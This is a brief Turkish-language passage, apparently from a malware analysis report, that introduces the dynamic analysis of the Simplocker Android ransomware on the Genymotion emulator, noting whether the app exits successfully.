olan uygulamanın işleyişi öngörüldüğü gibi dinamik analiz esnasında incelenecektir.
Simplocker Dinamik Analiz
Genymotion üzerinde çalıştırılmış olan uygulamadan başarılı bir şekilde çıkış yapılıp yapılmadığı
gözlemlenir.